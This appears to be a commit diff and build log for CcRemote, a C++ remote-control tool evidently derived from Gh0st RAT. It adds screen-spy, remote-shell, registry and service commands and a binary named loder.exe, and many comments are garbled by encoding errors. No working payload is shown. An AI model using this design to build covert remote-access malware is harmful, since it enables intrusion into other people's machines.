C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
pch.cpp
|
||||
CcRemote.cpp
|
||||
CcRemoteDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(164): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(169): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(312): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(335): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(826): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(908): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
CScreenSpyDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(54): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(607): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
|
||||
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(621): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
|
||||
CSettingDlg.cpp
|
||||
CShellDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(95): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(208): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(218): warning C4018: “<”: 有符号/无符号不匹配
|
||||
CSystemDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\csystemdlg.cpp(114): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
CpuUsage.cpp
|
||||
IniFile.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
SEU_QQwry.cpp
|
||||
TrueColorToolBar.cpp
|
||||
Buffer.cpp
|
||||
IOCPServer.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(133): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(725): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(774): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(920): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
RegDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(259): warning C4244: “初始化”: 从“DWORD”转换到“char”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(261): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(249): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(263): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
正在生成代码
|
||||
All 523 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
1 of 739 functions ( 0.1%) were compiled, the rest were copied from previous compilation.
|
||||
0 functions were new in current compilation
|
||||
1 functions had inline decision re-evaluated but remain unchanged
|
||||
已完成代码的生成
|
||||
nafxcwd.lib(afxmem.obj) : warning LNK4006: "void * __cdecl operator new(unsigned int)" (??2@YAPAXI@Z) 已在 LIBCMTD.lib(new_scalar.obj) 中定义;已忽略第二个定义
|
||||
nafxcwd.lib(afxmem.obj) : warning LNK4006: "void __cdecl operator delete(void *)" (??3@YAXPAX@Z) 已在 LIBCMTD.lib(delete_scalar.obj) 中定义;已忽略第二个定义
|
||||
nafxcwd.lib(afxmem.obj) : warning LNK4006: "void * __cdecl operator new[](unsigned int)" (??_U@YAPAXI@Z) 已在 LIBCMTD.lib(new_array.obj) 中定义;已忽略第二个定义
|
||||
nafxcwd.lib(afxmem.obj) : warning LNK4006: "void __cdecl operator delete[](void *)" (??_V@YAXPAX@Z) 已在 LIBCMTD.lib(delete_array.obj) 中定义;已忽略第二个定义
|
||||
..\..\bin\CcRemote.exe : warning LNK4088: 因 /FORCE 选项生成了映像;映像可能不能运行
|
||||
CcRemote.vcxproj -> F:\myapp\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe
|
||||
|
@@ -14,7 +14,7 @@ static char THIS_FILE[]=__FILE__;
|
||||
|
||||
// Change at your Own Peril
|
||||
|
||||
// 'G' 'h' '0' 's' 't' | PacketLen | UnZipLen
|
||||
// 'C' 'c' 'R' 'm' 't' | PacketLen | UnZipLen
|
||||
#define HDR_SIZE 13
|
||||
#define FLAG_SIZE 5
|
||||
#define HUERISTIC_VALUE 2
|
||||
@@ -199,7 +199,7 @@ bool CIOCPServer::Initialize(NOTIFYPROC pNotifyProc, CMainFrame* pFrame, int nMa
|
||||
////////////////////////////////////////////////////////////////////////////////////////
|
||||
////////////////////////////////////////////////////////////////////////////////////////
|
||||
UINT dwThreadId = 0;
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD> <EFBFBD><EFBFBD><EFBFBD><EFBFBD>ListenThreadProc
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD> ->ListenThreadProc
|
||||
m_hThread =
|
||||
(HANDLE)_beginthreadex(NULL, // Security
|
||||
0, // Stack size - use default
|
||||
@@ -467,10 +467,12 @@ bool CIOCPServer::InitializeIOCP(void)
|
||||
// we need an overlapped file handle.
|
||||
//
|
||||
|
||||
|
||||
s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
|
||||
if ( s == INVALID_SOCKET )
|
||||
return false;
|
||||
|
||||
// ʹ<><CAB9><EFBFBD><EFBFBD><EFBFBD>ɶ˿<C9B6>֮ǰ<D6AE><C7B0>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>CreateIoCompletionPort<72><74><EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɶ˿ڶ<CBBF><DAB6><EFBFBD><EFBFBD><EFBFBD>
|
||||
// Create the completion port that will be used by all the worker
|
||||
// threads.
|
||||
m_hCompletionPort = CreateIoCompletionPort( (HANDLE)s, NULL, 0, 0 );
|
||||
@@ -505,12 +507,12 @@ bool CIOCPServer::InitializeIOCP(void)
|
||||
|
||||
for ( i = 0; i < nWorkerCnt; i++ )
|
||||
{
|
||||
hWorker = (HANDLE)_beginthreadex(NULL, // Security
|
||||
0, // Stack size - use default
|
||||
ThreadPoolFunc, // Thread fn entry point
|
||||
(void*) this, // Param for thread
|
||||
0, // Init flag
|
||||
&nThreadID); // Thread address
|
||||
hWorker = (HANDLE)_beginthreadex(NULL, // Security <20><>ȫ
|
||||
0, // Stack size - use default <20><>ջ<EFBFBD><D5BB>С-ʹ<><CAB9>Ĭ<EFBFBD><C4AC>ֵ
|
||||
ThreadPoolFunc, // Thread fn entry point <20>߳<EFBFBD>fn<66><6E><EFBFBD>ڵ<EFBFBD>
|
||||
(void*) this, // Param for thread <20>̵߳IJ<CCB5><C4B2><EFBFBD>
|
||||
0, // Init flag <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD>־
|
||||
&nThreadID); // Thread address <20>̵߳<DFB3>ַ
|
||||
|
||||
|
||||
if (hWorker == NULL )
|
||||
|
@@ -23,10 +23,10 @@
|
||||
|
||||
|
||||
////////////////////////////////////////////////////////////////////
|
||||
#define NC_CLIENT_CONNECT 0x0001 //<2F>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
#define NC_CLIENT_DISCONNECT 0x0002 //<2F>ͻ<EFBFBD><CDBB>˶Ͽ<CBB6><CFBF><EFBFBD><EFBFBD><EFBFBD>
|
||||
#define NC_TRANSMIT 0x0003 //<2F><><EFBFBD><EFBFBD>
|
||||
#define NC_RECEIVE 0x0004 //<2F><><EFBFBD><EFBFBD>
|
||||
#define NC_CLIENT_CONNECT 0x0001 // <EFBFBD>ͻ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
#define NC_CLIENT_DISCONNECT 0x0002 // <EFBFBD>ͻ<EFBFBD><EFBFBD>˶Ͽ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
#define NC_TRANSMIT 0x0003 // <EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
#define NC_RECEIVE 0x0004 // <EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
#define NC_RECEIVE_COMPLETE 0x0005 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
class CLock
|
||||
|
@@ -18,6 +18,8 @@
|
||||
#include <afxwin.h>
|
||||
#include <afxwin.h>
|
||||
#include <afxwin.h>
|
||||
#include <afxwin.h>
|
||||
#include <afxwin.h>
|
||||
|
||||
#endif //PCH_H
|
||||
|
||||
|
BIN
CcRemote/CcRemote/res/dword.ico
Normal file
After Width: | Height: | Size: 318 B |
BIN
CcRemote/CcRemote/res/file_ico.ico
Normal file
After Width: | Height: | Size: 2.5 KiB |
BIN
CcRemote/CcRemote/res/file_ico透明.ico
Normal file
After Width: | Height: | Size: 2.5 KiB |
BIN
CcRemote/CcRemote/res/list_online_pic.bmp
Normal file
After Width: | Height: | Size: 1.1 MiB |
BIN
CcRemote/CcRemote/res/list_online_pic2.bmp
Normal file
After Width: | Height: | Size: 1.8 MiB |
BIN
CcRemote/CcRemote/res/logo.bmp
Normal file
After Width: | Height: | Size: 56 KiB |
BIN
CcRemote/CcRemote/res/regsz.ico
Normal file
After Width: | Height: | Size: 318 B |
BIN
CcRemote/CcRemote/res/remote.ico
Normal file
After Width: | Height: | Size: 6.4 KiB |
BIN
CcRemote/CcRemote/res/remote_old.ico
Normal file
After Width: | Height: | Size: 2.2 KiB |
BIN
CcRemote/CcRemote/res/文件夹1.ico
Normal file
After Width: | Height: | Size: 1.4 KiB |
@@ -7,7 +7,4 @@ pause
|
||||
|
||||
del /F /Q /S *.aps *.idb *.ipdb *.iobj *.db *.ncp *.obj *.pch *.sbr *.tmp *.pdb *.bsc *.ilk *.sdf *.ncb *.dep *.ipch *.tlog *.exp
|
||||
|
||||
|
||||
pause
|
||||
|
||||
|
||||
|
BIN
bin/CcRemote.exe
BIN
bin/res/list_online_pic.bmp
Normal file
After Width: | Height: | Size: 1.1 MiB |
BIN
bin/res/list_online_pic2.bmp
Normal file
After Width: | Height: | Size: 1.8 MiB |
BIN
bin/server/loder.exe
Normal file
@@ -74,7 +74,18 @@ enum
|
||||
COMMAND_OPEN_URL_SHOW, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ
|
||||
COMMAND_RENAME_REMARK, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע
|
||||
COMMAND_REPLAY_HEARTBEAT, // <20>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_SERVICES, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_SERVICELIST, // ˢ<>·<EFBFBD><C2B7><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
COMMAND_SERVICECONFIG, // <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IJ<EFBFBD><C4B2><EFBFBD>
|
||||
COMMAND_SERVICES_START = 0x01, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_SERVICES_STOP, // ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD>
|
||||
COMMAND_SERVICES_AUTO, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ - <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_SERVICES_MANUAL, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ - <20>ֶ<EFBFBD><D6B6><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
COMMAND_REGEDIT, //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_REG_FIND, //ע<><D7A2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
|
||||
TOKEN_AUTH = 100, // Ҫ<><D2AA><EFBFBD><EFBFBD>֤
|
||||
@@ -111,7 +122,11 @@ enum
|
||||
TOKEN_PSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
TOKEN_WSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
TOKEN_DIALUPASS, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_SHELL_START // Զ<><D4B6><EFBFBD>ն˿<D5B6>ʼ
|
||||
TOKEN_SHELL_START, // Զ<><D4B6><EFBFBD>ն˿<D5B6>ʼ
|
||||
TOKEN_SERVERLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
TOKEN_REGEDIT, // ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_REG_PATH, // ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEBBBA><EFBFBD><EFBFBD>
|
||||
TOKEN_REG_KEY // ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
};
|
||||
|
||||
|
||||
|
BIN
common/zlib/ZlibStatRelease/Tmp/zlib.res
Normal file
30
common/zlib/ZlibStatRelease/Tmp/zlibstat.Build.CppClean.log
Normal file
@@ -0,0 +1,30 @@
|
||||
d:\zlib-1.2.11\contrib\vstudio\vc12\x86\zlibstatrelease\zlibstat.pdb
|
||||
d:\zlib-1.2.11\contrib\vstudio\vc12\x86\zlibstatrelease\tmp\zutil.obj
|
||||
d:\zlib-1.2.11\contrib\vstudio\vc12\x86\zlibstatrelease\tmp\zip.obj
|
||||
d:\zlib-1.2.11\contrib\vstudio\vc12\x86\zlibstatrelease\tmp\unzip.obj
|
||||
d:\zlib-1.2.11\contrib\vstudio\vc12\x86\zlibstatrelease\tmp\uncompr.obj
|
||||
d:\zlib-1.2.11\contrib\vstudio\vc12\x86\zlibstatrelease\tmp\trees.obj
|
||||
d:\zlib-1.2.11\contrib\vstudio\vc12\x86\zlibstatrelease\tmp\ioapi.obj
|
||||
d:\zlib-1.2.11\contrib\vstudio\vc12\x86\zlibstatrelease\tmp\inftrees.obj
|
||||
d:\zlib-1.2.11\contrib\vstudio\vc12\x86\zlibstatrelease\tmp\inflate.obj
|
||||
d:\zlib-1.2.11\contrib\vstudio\vc12\x86\zlibstatrelease\tmp\inffast.obj
|
||||
d:\zlib-1.2.11\contrib\vstudio\vc12\x86\zlibstatrelease\tmp\infback.obj
|
||||
d:\zlib-1.2.11\contrib\vstudio\vc12\x86\zlibstatrelease\tmp\gzwrite.obj
|
||||
d:\zlib-1.2.11\contrib\vstudio\vc12\x86\zlibstatrelease\tmp\gzread.obj
|
||||
d:\zlib-1.2.11\contrib\vstudio\vc12\x86\zlibstatrelease\tmp\gzlib.obj
|
||||
d:\zlib-1.2.11\contrib\vstudio\vc12\x86\zlibstatrelease\tmp\gzclose.obj
|
||||
d:\zlib-1.2.11\contrib\vstudio\vc12\x86\zlibstatrelease\tmp\deflate.obj
|
||||
d:\zlib-1.2.11\contrib\vstudio\vc12\x86\zlibstatrelease\tmp\crc32.obj
|
||||
d:\zlib-1.2.11\contrib\vstudio\vc12\x86\zlibstatrelease\tmp\compress.obj
|
||||
d:\zlib-1.2.11\contrib\vstudio\vc12\x86\zlibstatrelease\tmp\adler32.obj
|
||||
d:\zlib-1.2.11\contrib\vstudio\vc12\x86\zlibstatrelease\zlibstat.lib
|
||||
d:\zlib-1.2.11\contrib\vstudio\vc12\x86\zlibstatrelease\tmp\zlib.res
|
||||
d:\zlib-1.2.11\contrib\vstudio\vc12\x86\zlibstatrelease\tmp\zlibstat.tlog\cl.command.1.tlog
|
||||
d:\zlib-1.2.11\contrib\vstudio\vc12\x86\zlibstatrelease\tmp\zlibstat.tlog\cl.read.1.tlog
|
||||
d:\zlib-1.2.11\contrib\vstudio\vc12\x86\zlibstatrelease\tmp\zlibstat.tlog\cl.write.1.tlog
|
||||
d:\zlib-1.2.11\contrib\vstudio\vc12\x86\zlibstatrelease\tmp\zlibstat.tlog\lib-link-cvtres.read.1.tlog
|
||||
d:\zlib-1.2.11\contrib\vstudio\vc12\x86\zlibstatrelease\tmp\zlibstat.tlog\lib-link-cvtres.write.1.tlog
|
||||
d:\zlib-1.2.11\contrib\vstudio\vc12\x86\zlibstatrelease\tmp\zlibstat.tlog\lib.command.1.tlog
|
||||
d:\zlib-1.2.11\contrib\vstudio\vc12\x86\zlibstatrelease\tmp\zlibstat.tlog\rc.command.1.tlog
|
||||
d:\zlib-1.2.11\contrib\vstudio\vc12\x86\zlibstatrelease\tmp\zlibstat.tlog\rc.read.1.tlog
|
||||
d:\zlib-1.2.11\contrib\vstudio\vc12\x86\zlibstatrelease\tmp\zlibstat.tlog\rc.write.1.tlog
|
21
common/zlib/ZlibStatRelease/Tmp/zlibstat.log
Normal file
@@ -0,0 +1,21 @@
|
||||
adler32.c
|
||||
compress.c
|
||||
crc32.c
|
||||
deflate.c
|
||||
Assembler code may have bugs -- use at your own risk
|
||||
gzclose.c
|
||||
gzlib.c
|
||||
gzread.c
|
||||
gzwrite.c
|
||||
infback.c
|
||||
inffast.c
|
||||
inflate.c
|
||||
inftrees.c
|
||||
ioapi.c
|
||||
trees.c
|
||||
uncompr.c
|
||||
unzip.c
|
||||
zip.c
|
||||
zutil.c
|
||||
正在生成代码...
|
||||
zlibstat.vcxproj -> D:\zlib-1.2.11\contrib\vstudio\vc12\x86\ZlibStatRelease\zlibstat.lib
|
@@ -0,0 +1,2 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Release|Win32|D:\zlib-1.2.11\contrib\vstudio\vc12\|
|
BIN
common/zlib/ZlibStatRelease/zlibstat.lib
Normal file
@@ -1,102 +1,257 @@
|
||||
/* zconf.h -- configuration of the zlib compression library
|
||||
* Copyright (C) 1995-2002 Jean-loup Gailly.
|
||||
* For conditions of distribution and use, see copyright notice in zlib.h
|
||||
* Copyright (C) 1995-2016 Jean-loup Gailly, Mark Adler
|
||||
* For conditions of distribution and use, see copyright notice in zlib.h
|
||||
*/
|
||||
|
||||
/* @(#) $Id$ */
|
||||
|
||||
#ifndef _ZCONF_H
|
||||
#define _ZCONF_H
|
||||
#ifndef ZCONF_H
|
||||
#define ZCONF_H
|
||||
|
||||
/*
|
||||
* If you *really* need a unique prefix for all types and library functions,
|
||||
* compile with -DZ_PREFIX. The "standard" zlib should be compiled without it.
|
||||
* Even better than compiling with -DZ_PREFIX would be to use configure to set
|
||||
* this permanently in zconf.h using "./configure --zprefix".
|
||||
*/
|
||||
#ifdef Z_PREFIX
|
||||
# define deflateInit_ z_deflateInit_
|
||||
# define deflate z_deflate
|
||||
# define deflateEnd z_deflateEnd
|
||||
# define inflateInit_ z_inflateInit_
|
||||
# define inflate z_inflate
|
||||
# define inflateEnd z_inflateEnd
|
||||
# define deflateInit2_ z_deflateInit2_
|
||||
# define deflateSetDictionary z_deflateSetDictionary
|
||||
# define deflateCopy z_deflateCopy
|
||||
# define deflateReset z_deflateReset
|
||||
# define deflateParams z_deflateParams
|
||||
# define inflateInit2_ z_inflateInit2_
|
||||
# define inflateSetDictionary z_inflateSetDictionary
|
||||
# define inflateSync z_inflateSync
|
||||
# define inflateSyncPoint z_inflateSyncPoint
|
||||
# define inflateReset z_inflateReset
|
||||
# define compress z_compress
|
||||
# define compress2 z_compress2
|
||||
# define uncompress z_uncompress
|
||||
# define adler32 z_adler32
|
||||
# define crc32 z_crc32
|
||||
# define get_crc_table z_get_crc_table
|
||||
#ifdef Z_PREFIX /* may be set to #if 1 by ./configure */
|
||||
# define Z_PREFIX_SET
|
||||
|
||||
# define Byte z_Byte
|
||||
# define uInt z_uInt
|
||||
# define uLong z_uLong
|
||||
# define Bytef z_Bytef
|
||||
# define charf z_charf
|
||||
# define intf z_intf
|
||||
# define uIntf z_uIntf
|
||||
# define uLongf z_uLongf
|
||||
# define voidpf z_voidpf
|
||||
# define voidp z_voidp
|
||||
#endif
|
||||
|
||||
#if (defined(_WIN32) || defined(__WIN32__)) && !defined(WIN32)
|
||||
# define WIN32
|
||||
#endif
|
||||
#if defined(__GNUC__) || defined(WIN32) || defined(__386__) || defined(i386)
|
||||
# ifndef __32BIT__
|
||||
# define __32BIT__
|
||||
/* all linked symbols and init macros */
|
||||
# define _dist_code z__dist_code
|
||||
# define _length_code z__length_code
|
||||
# define _tr_align z__tr_align
|
||||
# define _tr_flush_bits z__tr_flush_bits
|
||||
# define _tr_flush_block z__tr_flush_block
|
||||
# define _tr_init z__tr_init
|
||||
# define _tr_stored_block z__tr_stored_block
|
||||
# define _tr_tally z__tr_tally
|
||||
# define adler32 z_adler32
|
||||
# define adler32_combine z_adler32_combine
|
||||
# define adler32_combine64 z_adler32_combine64
|
||||
# define adler32_z z_adler32_z
|
||||
# ifndef Z_SOLO
|
||||
# define compress z_compress
|
||||
# define compress2 z_compress2
|
||||
# define compressBound z_compressBound
|
||||
# endif
|
||||
# define crc32 z_crc32
|
||||
# define crc32_combine z_crc32_combine
|
||||
# define crc32_combine64 z_crc32_combine64
|
||||
# define crc32_z z_crc32_z
|
||||
# define deflate z_deflate
|
||||
# define deflateBound z_deflateBound
|
||||
# define deflateCopy z_deflateCopy
|
||||
# define deflateEnd z_deflateEnd
|
||||
# define deflateGetDictionary z_deflateGetDictionary
|
||||
# define deflateInit z_deflateInit
|
||||
# define deflateInit2 z_deflateInit2
|
||||
# define deflateInit2_ z_deflateInit2_
|
||||
# define deflateInit_ z_deflateInit_
|
||||
# define deflateParams z_deflateParams
|
||||
# define deflatePending z_deflatePending
|
||||
# define deflatePrime z_deflatePrime
|
||||
# define deflateReset z_deflateReset
|
||||
# define deflateResetKeep z_deflateResetKeep
|
||||
# define deflateSetDictionary z_deflateSetDictionary
|
||||
# define deflateSetHeader z_deflateSetHeader
|
||||
# define deflateTune z_deflateTune
|
||||
# define deflate_copyright z_deflate_copyright
|
||||
# define get_crc_table z_get_crc_table
|
||||
# ifndef Z_SOLO
|
||||
# define gz_error z_gz_error
|
||||
# define gz_intmax z_gz_intmax
|
||||
# define gz_strwinerror z_gz_strwinerror
|
||||
# define gzbuffer z_gzbuffer
|
||||
# define gzclearerr z_gzclearerr
|
||||
# define gzclose z_gzclose
|
||||
# define gzclose_r z_gzclose_r
|
||||
# define gzclose_w z_gzclose_w
|
||||
# define gzdirect z_gzdirect
|
||||
# define gzdopen z_gzdopen
|
||||
# define gzeof z_gzeof
|
||||
# define gzerror z_gzerror
|
||||
# define gzflush z_gzflush
|
||||
# define gzfread z_gzfread
|
||||
# define gzfwrite z_gzfwrite
|
||||
# define gzgetc z_gzgetc
|
||||
# define gzgetc_ z_gzgetc_
|
||||
# define gzgets z_gzgets
|
||||
# define gzoffset z_gzoffset
|
||||
# define gzoffset64 z_gzoffset64
|
||||
# define gzopen z_gzopen
|
||||
# define gzopen64 z_gzopen64
|
||||
# ifdef _WIN32
|
||||
# define gzopen_w z_gzopen_w
|
||||
# endif
|
||||
# define gzprintf z_gzprintf
|
||||
# define gzputc z_gzputc
|
||||
# define gzputs z_gzputs
|
||||
# define gzread z_gzread
|
||||
# define gzrewind z_gzrewind
|
||||
# define gzseek z_gzseek
|
||||
# define gzseek64 z_gzseek64
|
||||
# define gzsetparams z_gzsetparams
|
||||
# define gztell z_gztell
|
||||
# define gztell64 z_gztell64
|
||||
# define gzungetc z_gzungetc
|
||||
# define gzvprintf z_gzvprintf
|
||||
# define gzwrite z_gzwrite
|
||||
# endif
|
||||
# define inflate z_inflate
|
||||
# define inflateBack z_inflateBack
|
||||
# define inflateBackEnd z_inflateBackEnd
|
||||
# define inflateBackInit z_inflateBackInit
|
||||
# define inflateBackInit_ z_inflateBackInit_
|
||||
# define inflateCodesUsed z_inflateCodesUsed
|
||||
# define inflateCopy z_inflateCopy
|
||||
# define inflateEnd z_inflateEnd
|
||||
# define inflateGetDictionary z_inflateGetDictionary
|
||||
# define inflateGetHeader z_inflateGetHeader
|
||||
# define inflateInit z_inflateInit
|
||||
# define inflateInit2 z_inflateInit2
|
||||
# define inflateInit2_ z_inflateInit2_
|
||||
# define inflateInit_ z_inflateInit_
|
||||
# define inflateMark z_inflateMark
|
||||
# define inflatePrime z_inflatePrime
|
||||
# define inflateReset z_inflateReset
|
||||
# define inflateReset2 z_inflateReset2
|
||||
# define inflateResetKeep z_inflateResetKeep
|
||||
# define inflateSetDictionary z_inflateSetDictionary
|
||||
# define inflateSync z_inflateSync
|
||||
# define inflateSyncPoint z_inflateSyncPoint
|
||||
# define inflateUndermine z_inflateUndermine
|
||||
# define inflateValidate z_inflateValidate
|
||||
# define inflate_copyright z_inflate_copyright
|
||||
# define inflate_fast z_inflate_fast
|
||||
# define inflate_table z_inflate_table
|
||||
# ifndef Z_SOLO
|
||||
# define uncompress z_uncompress
|
||||
# define uncompress2 z_uncompress2
|
||||
# endif
|
||||
# define zError z_zError
|
||||
# ifndef Z_SOLO
|
||||
# define zcalloc z_zcalloc
|
||||
# define zcfree z_zcfree
|
||||
# endif
|
||||
# define zlibCompileFlags z_zlibCompileFlags
|
||||
# define zlibVersion z_zlibVersion
|
||||
|
||||
